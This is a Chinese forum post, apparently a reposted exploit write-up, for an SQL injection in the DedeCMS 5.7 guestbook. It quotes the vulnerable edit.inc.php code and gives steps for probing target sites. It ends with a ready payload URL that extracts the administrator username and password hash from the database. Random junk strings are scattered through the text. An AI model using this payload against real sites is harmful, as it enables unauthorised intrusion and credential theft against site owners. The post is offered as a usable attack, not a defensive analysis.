dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
/ z9 Q# k( Z) b
; c  }8 ?0 y3 w5 y5 \. Y漏洞文件edit.inc.php具体代码：
. f) l8 A! c- p" f
< ?php  
0 K  Q8 f  h. i7 e! d
) M: K, y* R8 ?) k" D+ Fif(!defined('DEDEINC')) exit('Request Error!');  
  b% S( l; @2 m. ~; P( [4 Y
/ Q" z" I$ j: Q! N) R   

if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

  i% y9 z& D9 y& v+ G2 n- m* [else $GUEST_BOOK_POS = "guestbook.php";  

   
0 W2 x! H! d: n1 w4 C
$id = intval($id);  

if(empty($job)) $job='view';  
3 l  a& z" {8 U/ D
- A' ]/ Z) E. s; w- l( b6 S   

if($job=='del' && $g_isadmin)  
" y' F8 t+ V5 h2 j
{  
  B! t  a9 O3 q5 E2 ?
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
( @6 A' a3 h" D  [. K5 Y
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

; a. @4 Y6 R; G" q0 \exit();  

& U3 E6 g, m4 g7 t}  
# {- Y. t( _+ F5 `. d4 u$ n
else if($job=='check' && $g_isadmin)  
% d% V' _7 J# h
0 ^, O- n% y/ {4 X, f9 M{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
. f* z4 ]3 P. z! _
ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  

}  
4 I1 `: S) D5 B0 x
) f' d2 S8 U& _- g: R4 k0 \( Relse if($job=='editok')  
/ h$ q/ w: k5 _' X' C5 n
. m/ f$ V8 p& O) Q' z, q. f{  

* N* V( O! K* q! g# F: c3 M9 d$remsg = trim($remsg);  
8 T2 Y; L3 J- A
: k4 X( r6 S- ]7 t  ]5 i: dif($remsg!='')  
. Z" Q& T& w) [7 D+ W# r* O
{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  

" F8 U2 }# @  z& N, y  Oif($g_isadmin)  
0 m, p; O! T; U$ Y; ]: G
9 P8 k0 S- }# G. q* A( U{  

) O3 X/ B8 K5 I) d$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
" y( b" ]* t/ Q0 Z: Z
. A1 `( B/ K* [% N" Z//$remsg <br /><font color=red>管理员回复：</font> }  
9 q& ]0 v4 _% {, Q$ b
) Y0 K- h* U4 @+ C# a+ Nelse
3 e' r  B/ A3 J+ w7 T( [
# f* S' q. K: X  S" q( q{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

* j' }; p1 X# t$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

' @, ?2 C7 T0 Z4 z, k4 ]6 M$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
, ]; x) j7 V" F5 v5 ]$ D, p9 S
+ H0 u+ X2 O; d& \2 P. u8 q$msg = $oldmsg.$remsg;  
$ |) ?6 N$ j( h; Z- T
& I* |9 c! c, t) J}  
; Q  u) H) L' f* g/ O- o
# E& F4 F) w$ Q}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

0 t1 ?: U$ z' T& v( E$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  

}  

/ Z) {: C0 C- g& S9 Q) z//home:www.errs.cc  
+ {0 o( V1 c' `/ l1 V; V4 `
if($g_isadmin)  

' s) S3 v; x6 E/ }! r/ X5 F{  

* k; _( G' s: U" b6 {$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
* b2 Z0 n/ j- S5 I
5 {- [- ~' V0 d) e# {5 d6 B) srequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

) y6 F5 Q5 D1 s9 |) }5 J}  
  ~; h) E) w" d1 r* D0 m
else
2 S9 _" H( B% \+ G/ c  p# E
. B) g/ M" a/ V{  
  N1 c9 A, h( u" D5 T  H3 W
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
: j5 E, @+ K8 X/ M
" S& M( x; E2 s( N( g7 drequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
$ ?% P6 L" ^2 Z
} 漏洞成功需要条件：
; O/ b; O" {7 a7 w1. php magic_quotes_gpc=off
3 h- U) Z. S# n: A# f2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
: a' R" B6 M/ t/ E# P& |然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：

: k- w; p) J# C9 fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
2 H# p" R5 ^7 F0 M4 L: o" t跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

5 {( S" E' N& m
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

; i  K6 M. r% u( H  p+ v& u$ K& Awww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
/ ~6 b5 O. ]! n9 s: A
大概利用就是这样，大家有兴趣的多研究下！！

最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
  N; Q% S. V, t. J& T5 _$ G: a
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='